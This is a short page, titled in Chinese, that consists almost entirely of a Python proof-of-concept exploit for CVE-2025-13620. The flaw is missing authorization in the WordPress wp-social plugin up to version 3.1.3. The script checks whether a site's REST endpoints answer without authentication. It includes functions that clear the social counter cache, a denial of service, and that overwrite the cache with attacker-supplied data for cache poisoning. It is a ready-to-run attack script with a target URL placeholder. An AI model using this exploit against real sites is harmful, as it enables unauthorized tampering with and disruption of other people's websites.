CVE-2025-13620 WordPress wp-social插件缺失授权漏洞

import requests # CVE-2025-13620 PoC - Unauthenticated Cache Manipulation # Target: WordPress site with wp-social plugin <= 3.1.3 TARGET_URL = "https://target-site.com" # Endpoint 1: Clear counter cache (most critical) clear_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/settings/clear_counter_cache" # Endpoint 2: Save arbitrary cache data save_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/save_cache/test" # Endpoint 3: Check cache status check_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/check_cache/test" def exploit_clear_cache(): """ Exploit to clear social counter cache without authentication. This can cause denial of service by removing cached social share counts. """ headers = { "Content-Type": "application/json", "X-HTTP-Method-Override": "DELETE" } response = requests.post(clear_cache_url, headers=headers, timeout=10) print(f"Clear cache response: {response.status_code}") return response def exploit_save_fake_cache(): """ Exploit to overwrite cache with attacker-controlled data. Could be used for cache poisoning attacks. """ payload = { "cache_data": "malicious_cache_content" } response = requests.post(save_cache_url, json=payload, timeout=10) print(f"Save cache response: {response.status_code}") return response def check_vulnerability(): """ Verify if the target is vulnerable by checking cache endpoint access. """ response = requests.get(check_cache_url, timeout=10) if response.status_code == 200: print(f"[+] Target is VULNERABLE - No auth required for REST endpoints") print(f"Response: {response.text}") return True else: print(f"[-] Target may not be vulnerable or plugin not installed") return False if __name__ == "__main__": print("CVE-2025-13620 Exploitation Script") print("=" * 50) check_vulnerability() # Uncomment to execute exploitation: # exploit_clear_cache() # exploit_save_fake_cache()